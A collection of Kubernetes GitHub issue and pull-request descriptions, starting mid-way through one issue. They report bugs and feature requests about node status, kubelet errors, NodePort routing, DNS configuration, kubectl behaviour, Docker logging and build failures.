status\r   networkunavailable \tfalse \tfri, 23 jun 2017 17:06:07 -0400 \tfri, 23 jun 2017 17:06:07 -0400 \troutecreated \t\t\troutecontroller created a route\r --\r --\r name:\t\t\tip-172-20-35-241.us-west-2.compute.internal\r role:\t\t\tnode\r labels:\t\t\tbeta.kubernetes.io/arch=amd64\r \t\t\tbeta.kubernetes.io/instance-type=m3.large\r \t\t\tbeta.kubernetes.io/os=linux\r \t\t\tfailure-domain.beta.kubernetes.io/region=us-west-2\r \t\t\tfailure-domain.beta.kubernetes.io/zone=us-west-2a\r \t\t\tkubernetes.io/hostname=ip-172-20-35-241.us-west-2.compute.internal\r \t\t\tkubernetes.io/role=node\r \t\t\tnode-role.kubernetes.io/node=\r taints:\t\t\t<none>\r creationtimestamp:\tfri, 23 jun 2017 17:06:14 -0400\r phase:\t\t\t\r conditions:\r   type\t\t\tstatus\tlastheartbeattime\t\t\tlasttransitiontime\t\t\treason\t\t\t\tmessage\r   ----\t\t\t------\t-----------------\t\t\t------------------\t\t\t------\t\t\t\t-------\r   outofdisk \t\tfalse \ttue, 27 jun 2017 13:47:07 -0400 \tfri, 23 jun 2017 17:06:14 -0400 \tkubelethassufficientdisk \tkubelet has sufficient disk space available\r   memorypressure \tfalse \ttue, 27 jun 2017 13:47:07 -0400 \tfri, 23 jun 2017 17:06:14 -0400 \tkubelethassufficientmemory \tkubelet has sufficient memory available\r   diskpressure \t\tfalse \ttue, 27 jun 2017 13:47:07 -0400 \tfri, 23 jun 2017 17:06:14 -0400 \tkubelethasnodiskpressure \tkubelet has no disk pressure\r   ready \t\ttrue \ttue, 27 jun 2017 13:47:07 -0400 \tfri, 23 jun 2017 17:06:34 -0400 \tkubeletready \t\t\tkubelet is posting ready status\r   networkunavailable \tfalse \tfri, 23 jun 2017 17:06:17 -0400 \tfri, 23 jun 2017 17:06:17 -0400 \troutecreated \t\t\troutecontroller created a route\r --\r --\r name:\t\t\tip-172-20-38-216.us-west-2.compute.internal\r role:\t\t\tmaster\r labels:\t\t\tbeta.kubernetes.io/arch=amd64\r \t\t\tbeta.kubernetes.io/instance-type=m3.large\r \t\t\tbeta.kubernetes.io/os=linux\r \t\t\tfailure-domain.beta.kubernetes.io/region=us-west-2\r \t\t\tfailure-domain.beta.kubernetes.io/zone=us-west-2a\r \t\t\tkubernetes.io/hostname=ip-172-20-38-216.us-west-2.compute.internal\r \t\t\tkubernetes.io/role=master\r \t\t\tnode-role.kubernetes.io/master=\r taints:\t\t\t<none>\r creationtimestamp:\tfri, 23 jun 2017 17:04:13 -0400\r phase:\t\t\t\r conditions:\r   type\t\t\tstatus\tlastheartbeattime\t\t\tlasttransitiontime\t\t\treason\t\t\t\tmessage\r   ----\t\t\t------\t-----------------\t\t\t------------------\t\t\t------\t\t\t\t-------\r   outofdisk \t\tfalse \ttue, 27 jun 2017 13:46:59 -0400 \tfri, 23 jun 2017 17:04:13 -0400 \tkubelethassufficientdisk \tkubelet has sufficient disk space available\r   memorypressure \tfalse \ttue, 27 jun 2017 13:46:59 -0400 \tfri, 23 jun 2017 17:04:13 -0400 \tkubelethassufficientmemory \tkubelet has sufficient memory available\r   diskpressure \t\tfalse \ttue, 27 jun 2017 13:46:59 -0400 \tfri, 23 jun 2017 17:04:13 -0400 \tkubelethasnodiskpressure \tkubelet has no disk pressure\r   ready \t\ttrue \ttue, 27 jun 2017 13:46:59 -0400 \tfri, 23 jun 2017 17:04:43 -0400 \tkubeletready \t\t\tkubelet is posting ready status\r   networkunavailable \tfalse \tfri, 23 jun 2017 17:04:27 -0400 \tfri, 23 jun 2017 17:04:27 -0400 \troutecreated \t\t\troutecontroller created a route\r --\r --\r name:\t\t\tip-172-20-79-239.us-west-2.compute.internal\r role:\t\t\tnode\r labels:\t\t\tbeta.kubernetes.io/arch=amd64\r \t\t\tbeta.kubernetes.io/instance-type=m3.large\r \t\t\tbeta.kubernetes.io/os=linux\r \t\t\tfailure-domain.beta.kubernetes.io/region=us-west-2\r \t\t\tfailure-domain.beta.kubernetes.io/zone=us-west-2b\r \t\t\tkubernetes.io/hostname=ip-172-20-79-239.us-west-2.compute.internal\r \t\t\tkubernetes.io/role=node\r \t\t\tnode-role.kubernetes.io/node=\r taints:\t\t\t<none>\r creationtimestamp:\tfri, 23 jun 2017 17:06:21 -0400\r phase:\t\t\t\r conditions:\r   type\t\t\tstatus\tlastheartbeattime\t\t\tlasttransitiontime\t\t\treason\t\t\t\tmessage\r   ----\t\t\t------\t-----------------\t\t\t------------------\t\t\t------\t\t\t\t-------\r   outofdisk \t\tfalse \ttue, 27 jun 2017 13:47:04 -0400 \tfri, 23 jun 2017 17:06:21 -0400 \tkubelethassufficientdisk \tkubelet has sufficient disk space available\r   memorypressure \tfalse \ttue, 27 jun 2017 13:47:04 -0400 \tfri, 23 jun 2017 17:06:21 -0400 \tkubelethassufficientmemory \tkubelet has sufficient memory available\r   diskpressure \t\tfalse \ttue, 27 jun 2017 13:47:04 -0400 \tfri, 23 jun 2017 17:06:21 -0400 \tkubelethasnodiskpressure \tkubelet has no disk pressure\r   ready \t\ttrue \ttue, 27 jun 2017 13:47:04 -0400 \tfri, 23 jun 2017 17:06:41 -0400 \tkubeletready \t\t\tkubelet is posting ready status\r   networkunavailable \tfalse \tfri, 23 jun 2017 17:06:27 -0400 \tfri, 23 jun 2017 17:06:27 -0400 \troutecreated \t\t\troutecontroller created a route\r --\r --\r name:\t\t\tip-172-20-86-22.us-west-2.compute.internal\r role:\t\t\tmaster\r labels:\t\t\tbeta.kubernetes.io/arch=amd64\r \t\t\tbeta.kubernetes.io/instance-type=m3.large\r \t\t\tbeta.kubernetes.io/os=linux\r \t\t\tfailure-domain.beta.kubernetes.io/region=us-west-2\r \t\t\tfailure-domain.beta.kubernetes.io/zone=us-west-2b\r \t\t\tkubernetes.io/hostname=ip-172-20-86-22.us-west-2.compute.internal\r \t\t\tkubernetes.io/role=master\r \t\t\tnode-role.kubernetes.io/master=\r taints:\t\t\t<none>\r creationtimestamp:\tfri, 23 jun 2017 17:04:15 -0400\r phase:\t\t\t\r conditions:\r   type\t\t\tstatus\tlastheartbeattime\t\t\tlasttransitiontime\t\t\treason\t\t\t\tmessage\r   ----\t\t\t------\t-----------------\t\t\t------------------\t\t\t------\t\t\t\t-------\r   outofdisk \t\tfalse \ttue, 27 jun 2017 13:47:00 -0400 \tfri, 23 jun 2017 17:04:15 -0400 \tkubelethassufficientdisk \tkubelet has sufficient disk space available\r   memorypressure \tfalse \ttue, 27 jun 2017 13:47:00 -0400 \tfri, 23 jun 2017 17:04:15 -0400 \tkubelethassufficientmemory \tkubelet has sufficient memory available\r   diskpressure \t\tfalse \ttue, 27 jun 2017 13:47:00 -0400 \tfri, 23 jun 2017 17:04:15 -0400 \tkubelethasnodiskpressure \tkubelet has no disk pressure\r   ready \t\ttrue \ttue, 27 jun 2017 13:47:00 -0400 \tfri, 23 jun 2017 17:04:46 -0400 \tkubeletready \t\t\tkubelet is posting ready status\r   networkunavailable \tfalse \tfri, 23 jun 2017 17:04:27 -0400 \tfri, 23 jun 2017 17:04:27 -0400 \troutecreated \t\t\troutecontroller created a route\r --\r --\r name:\t\t\tip-172-20-96-11.us-west-2.compute.internal\r role:\t\t\tmaster\r labels:\t\t\tapp=route53-mapper\r \t\t\tbeta.kubernetes.io/arch=amd64\r \t\t\tbeta.kubernetes.io/instance-type=m3.large\r \t\t\tbeta.kubernetes.io/os=linux\r \t\t\tfailure-domain.beta.kubernetes.io/region=us-west-2\r \t\t\tfailure-domain.beta.kubernetes.io/zone=us-west-2c\r \t\t\tkubernetes.io/hostname=ip-172-20-96-11.us-west-2.compute.internal\r \t\t\tkubernetes.io/role=master\r taints:\t\t\t<none>\r creationtimestamp:\tfri, 23 jun 2017 17:04:21 -0400\r phase:\t\t\t\r conditions:\r   type\t\t\tstatus\tlastheartbeattime\t\t\tlasttransitiontime\t\t\treason\t\t\t\tmessage\r   ----\t\t\t------\t-----------------\t\t\t------------------\t\t\t------\t\t\t\t-------\r   outofdisk \t\tfalse \ttue, 27 jun 2017 13:47:04 -0400 \tfri, 23 jun 2017 17:04:21 -0400 \tkubelethassufficientdisk \tkubelet has sufficient disk space available\r   memorypressure \tfalse \ttue, 27 jun 2017 13:47:04 -0400 \tfri, 23 jun 2017 17:04:21 -0400 \tkubelethassufficientmemory \tkubelet has sufficient memory available\r   diskpressure \t\tfalse \ttue, 27 jun 2017 13:47:04 -0400 \tfri, 23 jun 2017 17:04:21 -0400 \tkubelethasnodiskpressure \tkubelet has no disk pressure\r   ready \t\ttrue \ttue, 27 jun 2017 13:47:04 -0400 \tfri, 23 jun 2017 17:04:41 -0400 \tkubeletready \t\t\tkubelet is posting ready status\r   networkunavailable \tfalse \tfri, 23 jun 2017 17:04:27 -0400 \tfri, 23 jun 2017 17:04:27 -0400 \troutecreated \t\t\troutecontroller created a route\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :  \r  \r    \r brian$ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release :\r    \r os image:\t\t\tdebian gnu/linux 8  jessie \r  operating system:\t\tlinux\r  architecture:\t\t\tamd64\r  container runtime version:\tdocker://1.12.6\r    \r - kernel  e.g.  uname -a  :  kernel version:\t\t4.4.65-k8s\r - install tools: kops\r - others:\r

pr  48861 added in aggregation of the openapi specifications for aggregated api servers.\r unfortunately, it assumes two things:\r \r 1. all aggregated api servers will have openapi specifications\r 2. all openapi specifications are static.\r \r neither of these assumptions hold for the custom metrics api.\r \r currently, the aggregator code will actually fail to register the proxy provider for the entire api group-version if it fails to fetch the openapi spec.  not having an openapi spec doesn't prevent aggregation or discovery from working properly, so it shouldn't block the aggregator from working.\r \r  @kubernetes/sig-api-machinery-bugs \r \r /cc @mbohlool @deads2k @sttts

\r    \r  root@n1 ~   kubectl get node \r name        status    roles     age       version\r n2.maotai.com   ready     <none>    56m       v1.9.0\r n3.maotai.com   ready     <none>    55m       v1.9.0\r  root@n1 ~   docker --version\r docker version 17.12.0-ce, build c97c6d6\r \r    \r \r kubelet erros:\r    \r ession-9.scope\ : failed to get container info for \ /user.slice/user-0.slice/session-9.scope\ : unknown container \ /user.slice/user-0.slice/session-9.scope\ \r e1231 23:15:05.768717   17012 summary.go:92  failed to get system container stats for \ /user.slice/user-0.slice/session-9.scope\ : failed to get cgroup stats for \ /user.slice/user-0.slice/session-9.scope\ : failed to get container info for \ /user.slice/user-0.slice/session-9.scope\ : unknown container \ /user.slice/user-0.slice/session-9.scope\ \r e1231 23:15:15.790543   17012 summary.go:92  failed to get system container stats for \ /user.slice/user-0.slice/session-9.scope\ : failed to get cgroup stats for \ /user.slice/user-0.slice/session-9.scope\ : failed to get container info for \ /user.slice/user-0.slice/session-9.scope\ : unknown container \ /user.slice/user-0.slice/session-9.scope\ \r e1231 23:15:25.811356   17012 summary.go:92  failed to get system container stats for \ /user.slice/user-0.slice/session-9.scope\ : failed to get cgroup stats for \ /user.slice/user-0.slice/session-9.scope\ : failed to get container info for \ /user.slice/user-0.slice/session-9.scope\ : unknown container \ /user.slice/user-0.slice/session-9.scope\ \r e1231 23:15:35.832236   17012 summary.go:92  failed to get system container stats for \ /user.slice/user-0.slice/session-9.scope\ : failed to get cgroup stats for \ /user.slice/user-0.slice/session-9.scope\ : failed to get container info for \ /user.slice/user-0.slice/session-9.scope\ : unknown container \ /user.slice/user-0.slice/session-9.scope\ \r e1231 23:15:45.843873   17012 summary.go:92  failed to get system container stats for \ /user.slice/user-0.slice/session-9.scope\ : failed to get cgroup stats for \ /user.slice/user-0.slice/session-9.scope\ : failed to get container info for \ /user.slice/user-0.slice/session-9.scope\ : unknown container \ /user.slice/user-0.slice/session-9.scope\ \r e1231 23:15:55.859971   17012 summary.go:92  failed to get system container stats for \ /user.slice/user-0.slice/session-9.scope\ : failed to get cgroup stats for \ /user.slice/user-0.slice/session-9.scope\ : failed to get container info for \ /user.slice/user-0.slice/session-9.scope\ : unknown container \ /user.slice/user-0.slice/session-9.scope\ \r e1231 23:16:05.876374   17012 summary.go:92  failed to get system container stats for \ /user.slice/user-0.slice/session-9.scope\ : failed to get cgroup stats for \ /user.slice/user-0.slice/session-9.scope\ : failed to get container info for \ /user.slice/user-0.slice/session-9.scope\ : unknown container \ /user.slice/user-0.slice/session-9.scope\ \r \r

  \r if i set up a service with a nodeport and set  externaltrafficpolicy=local , and try to access it as  myhostname:port  it works.  if i try to access it as  localhost:port , it triggers a martian source error - the packet gets forwarded as 127.0.0.1.  we need some masquerade in there.\r \r applies to iptables mode.  maybe ipvs mode, not sure?\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r in order to solve a lot of dns requests flying all over our cluster to the kubedns pods, been looking to implement dnsmasq running as a daemonset  running with hostport 53 tcp/udp  across all nodes in the cluster  which forwards back onto standard kubedns - provided by gke , and then to be able to configure the application pods to talk to their local node instance dnsmasq running on hostport 53 via resolv.conf.\r \r for us pods in the cluster don't run as root and have all capabilities removed  so from within the pod you can't update/overwrite the containers resolv.conf - also can't override the application behaviour to avoid using resolv.conf unfortunately in this case .\r \r if downwards api  status.hostip  was available for use in any of dnsconfig  preferred method as we'll move to 1.10 as soon as available on gke , hostaliases or configmap, then we'd be able to dynamically configure resolv.conf settings appropriately and get the \ nameserver\  configured to use the local instance/node ip using \ status.hostip\ .\r \r i've seen things like this  28610 which make a lot of sense for this scenario  as well as another talking about configmap templating with downwardapi support  30716   and others including  32749 , however i'm wondering if being able to access status.hostip from within say hostaliases  as a longer example not specific to resolv.conf   so we could hard configure \ nameserver localdns\  within resolvconf and have hostaliases have \  status.hostip  localdns\  configured in all pods  would work almost just as well  possibly simpler to implement? . i imagine most people running daemonsets in similar scenarios just need either a static endpoint to be able to talk to the local instance version of that app, or to be able to know what the local instance ip is  using hostaliases with status.hostip would enable this as maybe another option - albeit perhaps convoluted compared to \ node-local\  service . also wanting to do this in part to avoid conntrack issues with iptables.\r \r   what you expected to happen  :\r i thought we'd be able to set-up dnsmasq on all nodes and then get resolv.conf simply pointing at it. however being on gke has extra complications - as we don't have the ability to go ahead and change set-up where ever. i could create another daemonset pod, which simply writes my own ip tables rules into the nodes perhaps  but don't really want to use iptables  or more likely is to run dnsmasq as a sidecar to every single pod duplicated a massive amount of times onto each node in the cluster  not efficient! - but would solve immediate needs \r \r   anything else we need to know?  :\r creating this as a feature request as seems like it might be useful. if pods were running as root  or had access/ability to overwrite the resolv.conf from within the pod - which would be a bad idea from security point of view  then we'd simply override the resolv.conf from within the pod. ideally this is handled outside of the pod so things like readonly file system for containers can still be enabled as well. this could be a stop gap until node local service becomes an option  if the work to implement this is small and interesting to anyone \r \r   environment  :\r - kubernetes version  use  kubectl version  : $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:34:11z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.6-gke.1\ , gitcommit:\ cb151369f60073317da686a6ce7de36abe2bda8d\ , gittreestate:\ clean\ , builddate:\ 2018-04-07t22:06:59z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: gke 1.9.6\r \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >   /close\r \r \r   what happened  :\r there is a pod with gnu bash, version 4.4.12  1  -release  x86_64-pc-linux-gnu  inside and the application on it, which, after entering the registration key, requires a system reboot. the problem is that after rebuilding the hearth, we return back to the time the key is entered and no activation occurs.\r \r   what you expected to happen  :\r is there a function to restart the pod without rebuilding so that the system is activated? it was tested on the statefulset, deployment, now it is started replicationcontroller. i look in the direction of the rolling-update and the option of creating an activated image, which is unlikely.\r \r   anything else we need to know?  :\r some pod directories are mounted as persistentvolume, but they probably have no relation to activation.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.3\r - cloud provider or hardware configuration: hardware cluster\r - os  e.g. from /etc/os-release : ubuntu 16.04.4\r - kernel  e.g.  uname -a  : linux 4.4.0-87-generic\r - install tools:\r - others:\r

currently, coreos, is planning to ship the kubelet via a container to avoid having the kubelet version pinned to our os release. we 'd like the kubelet version be based on the api-server version or user specified.  this is being implemented as a service file that runs a utility to determine, in a best-effort approach, the latest safe version of a kubelet to run by attempting to contact an api-server. the version is then reconciled against available kubelet container versions such that the kubelet version is less then or equal to the api-server and within the same major release. then the correct kubelet image is pulled and run.   in our case we use reconcile against the available version tags from a given appc image url such as  coreos.com/kublet:<tag> .  would there be interest in creating this utility as an upstream kubernetes binary?

we want release artifacts to be regionally available, not just available in us.

in current volume management at master, it uses a fixed timeout period  6 mins  to avoid waiting infinitely for. if the time elapsed since last detach requested time exceeds the timeout, master will detach the volume no matter whether it is safe to detach or not.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : na  ---    is this a bug report or feature request?    choose one : feature request  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  : 1.3 1.4 master    environment  : -   cloud provider or hardware configuration  : vsphere -   os    e.g. from /etc/os-release : linux -   kernel    e.g.  uname -a  : na -   install tools  : kube-up.sh -   others  :    what happened  : currently credentials for communicating with vcenter are stored on each node. there does not seem an inherent need to do this and might be a question of code clean in the cloud provider or code change in kubernetes.     what you expected to happen  : only the master node needs access to vcenter    how to reproduce it    as minimally and precisely as possible : kubelet fails to come up if vsphere cloud provider is used and is not configured with credentials.    anything else do we need to know  :

on osx el capitan      $ bazel test  //pkg/... error: /users/clayton/projects/origin/src/k8s.io/kubernetes/pkg/client/clientset_generated/internalclientset/typed/storage/unversioned/build:13:1: every rule of type go_library implicitly depends upon the target '//:go_prefix', but this target could not be found because of: no such package '': build file not found on package path. error: analysis of target '//pkg/client/clientset_generated/internalclientset/typed/storage/unversioned:go_default_library' failed; build aborted. info: elapsed time: 0.115s error: couldn't start the build. unable to run tests.      docs didn't seem to cover when this happens?

so docker 1.12 sets these values by default with systemd:\r \r    \r   having non-zero limit s causes performance problems due to accounting overhead\r   in the kernel. we recommend using cgroups to do container-local accounting.\r limitnofile=infinity\r limitnproc=infinity\r limitcore=infinity\r    \r \r we continue to default in our salt scripts to limitnofile=1048576 and limitnproc=1048576\r \r what does gci do?   should we set infinity?

kubernetes version    use  kubectl version  :\r - v1.7.0-alpha.2\r \r \r   environment  :\r -   os    e.g. from /etc/os-release : ubuntu 17.04\r -   kernel    e.g.  uname -a  : 4.10.0-19-generic\r \r   what happened  :\r i want to use a standalone kubelet to bring up a pod from a static manifest. specifically i'm trying to use kubelet to replace docker-compose in my tests.\r \r   what you expected to happen  :\r after starting the kubelet, it brings up the pods but the the /pods endpoint still shows the pod as \ pending\ . it never reached the \ running\  state.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r assuming this manifest in  /tmp/test/test.yaml :\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: test\r spec:\r   containers:\r       create postgres, database and load fixtures\r     - name: postgres\r       image: postgres\r       env:\r         - name: postgres_password\r           value: foobar23\r    \r and running the kubelet like this:\r    \r kubelet --pod-manifest-path /tmp/test/\r    \r will bring up the pod with postgres container. the kubelet api  http://localhost:10255/pods  will still show phase \ pending\ . it never reaches \ running\ .\r \r   anything else we need to know  :\r i suspect this is due to it not talking with the apiservers. is it possible that it only enters running scale once it synced with the cluster? if so, can we make kubelet not wait for this when no apiservers are configured?

the following page has broken links:\r   https://github.com/kubernetes/kubernetes/wiki/special-interest-groups- sigs \r \r e.g. this one:\r   https://github.com/kubernetes/community/blob/master/readme.md how-to-start-a-sig\r \r that should go here:\r   https://github.com/kubernetes/community/blob/master/sig-governance.md sig-creation-procedure\r \r 

follow-up of https://github.com/kubernetes/kubernetes/issues/52433\r \r docker 1.13 introduced a change into the logging mechanism  https://github.com/moby/moby/pull/22982 , that split the log lines longer than 16k into chunks of no more than that. current default logging integrations  fluentd-gcp and fluentd-es addons  do not support that and this might result in broken ingestion, i.e. when json parsing is broken for entries longer than 16k.\r \r one possible solution is introducing a fluentd plugin to the configuration to concat such entries in the similar way https://github.com/googlecloudplatform/fluent-plugin-detect-exceptions does it  assuming there is one out there, cc @tagomoris @repeatedly @edsiper for that \r \r /cc @igorpeshansky @fgrzadkowski @piosz

reported in https://github.com/kubernetes/kubernetes/pull/53231\r \r scenario  centos 7 :\r - install 1.7.x packages for kubelet on nodes.\r - install cluster with kubeadm init stable-1.7\r - use kubeadm to upgrade control plane to 1.8.0-rc.1\r - on nodes which still run 1.7.x kubelet, install new rpms for 1.8.0.rc.1 where certificate-rotation is enabled.\r - systemctl daemon-reload, systemctl restart kubelet.\r \r result: kubelet is in wait loop, waiting for csr to be approved. node is in notready state.\r \r the kubelet blocks on startup, despite having a valid kubeconfig file.\r \r it should start up, attempt to rotate in the background, but not block.

follow-up of https://github.com/kubernetes/kubernetes/issues/44065\r \r internal api types live in pkg/apis/<group>, with the exception of the core group which traditionally lives in pkg/api. in contrast, with the  move of the external types to k8s.io/api  https://github.com/kubernetes/features/issues/282 , the external core types were aligned with the other groups, forming a k8s.io/api/core package. the internal core types though were kept in our unicorn pkg/api package.\r \r     motivation\r \r the package pkg/api served long as a catch-all package for everything around the api. there is no clear distinction between the core types and the kube-apiserver plumbing around or the helpers only used by controllers. to continue our code layering efforts, moving the core types to pkg/apis/core removes a big part of pkg/api out and makes further refactoring of pkg/api much easier and much more obvious.\r \r mid-term, one of the goals of the code layering efforts is to cut out the kube-apiserver with all its dependencies. this pr is one step into that direction, turning pkg/apis into a self-contained entity in the code-base, distinct from plumbing them into an apiserver or using them in controllers. clear dependencies will allow us to split apart the code base on api group boundaries much easier.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r we are experiencing very weird connection speed issues on a nodeport based nginx setup. here's what our setup looks like:\r \r 1. there's a master cluster and then there are several tenant clusters.\r 2. the master cluster has a nodejs based gateway proxy which is exposed at port 80/443 as a  k8s loadbalancer service.\r 3. every tenant cluster has a nginx gateway service exposed as a k8s nodeport service.\r 4. all network traffic to tenant clusters is routed from master cluster gateway to the tentant nginx.\r 5. every tenant is assigned a unique sub-domain, e.g.   performancetest1-fskan .\r 6. tenant traffic reaches master cluster gateway in the form of https:// tenant subdomain .dev.p10.io.\r 7. the master proxy then routes this traffic to the tenant nginx.\r \r this image may help clarify the setup:\r ! trafficerouting  https://user-images.githubusercontent.com/6153264/33469916-8383821c-d68b-11e7-881c-779be39d0a78.png \r \r we decided to baseline the performance of one of our tenant service and found something very puzzling... \r \r when we are making calls using tenant sub-domain   get https://performancetest1-fskan.dev.p10.io/svc/explorer  , the average network time is around 350 to 470ms. but when we are directly hitting the tenant   get https://104.196.205.173:32022/svc/explorer  , the time is around 700 to 800ms. this is completely unexpected as the sub-domain traffic has two bounces while the ip:nodeport traffic directly hits the tenant nginx.\r \r here's a screenshot where the left side represents sub-domain based call, while the right side is ip:nodeport:\r ! trafficstats  https://user-images.githubusercontent.com/6153264/33470193-f7831f1e-d68c-11e7-8163-ca06a97740ab.png \r \r any ideas why the direct call is so slow compared to the bounced sub-domain based call?\r \r   what you expected to happen  :\r \r ip:nodeport based call must not be slower than the sub-domain proxied call.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r you should be able to make these calls from your machine as they are public.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7+\r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r running  kubectl apply  on a  apps/v1beta2  deployment creates a deployment with apiversion set to  extensions/v1beta1 , but the version in  kubectl.kubernetes.io/last-applied-configuration  is  v1beta2 . i'm not sure if the transformation is a bug or a feature. i expected the deployed resource to be of type  apps/v1beta2 , as requested.\r \r reproducing the error can be done on both v1.8 and v1.9 clusters, with the respective  kubectl  client version matching the cluster version.\r \r    \r $ cat <<eof | kubectl apply -f -\r apiversion: apps/v1beta2\r kind: deployment\r metadata:\r   name: apps-bug\r spec:\r   selector:\r     matchlabels:\r       app: nginx\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: apps-bug\r         image: nginx\r eof\r \r deployment \ apps-bug\  created\r \r $ kubectl get deployment apps-bug -o jsonpath=\ {.apiversion}\ \r extensions/v1beta1\r \r $ kubectl apply view-last-applied deployment apps-bug\r apiversion: apps/v1beta2\r kind: deployment\r metadata:\r   annotations: {}\r   name: apps-bug\r   namespace: default\r spec:\r   selector:\r     matchlabels:\r       app: nginx\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - image: nginx\r         name: apps-bug\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8/1.9\r - cloud provider or hardware configuration: minikube for local testing, but can be seen on other cloud providers

 /area test\r   \r examples:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/61498/pull-kubernetes-integration/2922/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/batch/pull-kubernetes-integration/2927\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/60793/pull-kubernetes-integration/2941\r \r it's the second most flaky test among all integration tests: https://k8s-testgrid.appspot.com/presubmits-kubernetes-blocking pull-kubernetes-integration\r \r /assign @crimsonfaith91\r /cc @kubernetes/sig-apps-test-failures

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r completion does not support following resources:\r \r ~~~\r     apiservice\r     clusterrole\r     customresourcedefinition\r     limitrange\r     podpreset\r     resourcequota\r     role\r ~~~\r \r   what you expected to happen  :\r \r ~~~\r $ kubectl get  tab  tab \r ~~~\r \r completes above resources.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r ~~~\r $ kubectl get  tab  tab \r ~~~\r \r   anything else we need to know?  :\r \r -  apiservice , resourcequota  and  clusterrole  are used often and stressful without compltion.\r - proposal patch: https://github.com/kubernetes/kubernetes/pull/63144\r \r   environment  :\r - kubernetes version  use  kubectl version  : build on 50dd9208372084ef6a09f2647a4f9e8f5857cb1e

as part of this pr:  https://github.com/googlecloudplatform/kubernetes/pull/7093  it was noted that getreference should have more information injected in order to build a reference without a hard-coded scheme.  getreference needs to be modified to allow downstream consumption that runs with alternate scheme.  this impacts the ability to create events around extended kinds.

when build from source, the binary can not print write version info,just like this:\r   root@node04 kube-apiserver   ./kube-apiserver --version\r kubernetes v0.0.0-master+$format:%h$\r  \r how can i build with version info,i have tried this,but failed\r  go build -ldflags \ -x version.gitmajor=1 -x version.gitminor=12\  \r \r any other suggestion？\r

jenkins build node/job/heapster-dockercanarybuild-ci/58/ failed since last thursday due to compiling issue:      04:10:20 step 5 : run cd /go/src/k8s.io/heapster && make && mv heapster /heapster 04:10:20  ---> running in 53ad68d04c53 04:10:21 rm -f heapster 04:10:21 rm -f eventer 04:10:21 rm -f deploy/docker/heapster 04:10:21 rm -f deploy/docker/eventer 04:10:21 go get github.com/tools/godep 04:10:23 goos=linux goarch=amd64 cgo_enabled=0 godep go build ./... 04:10:24   google.golang.org/cloud/compute/metadata 04:10:24 godeps/_workspace/src/google.golang.org/cloud/compute/metadata/metadata.go:191: req.cancel undefined  type  http.request has no field or method cancel  04:10:24 godep: go exit status 2 04:10:36 make:      build  error 1 04:10:36 makefile:14: recipe for target 'build' failed 04:10:37 the command '/bin/sh -c cd /go/src/k8s.io/heapster && make && mv heapster /heapster' returned a non-zero code: 2 04:10:37 build step 'docker build and publish' marked build as failure      @piosz looks like it is caused by 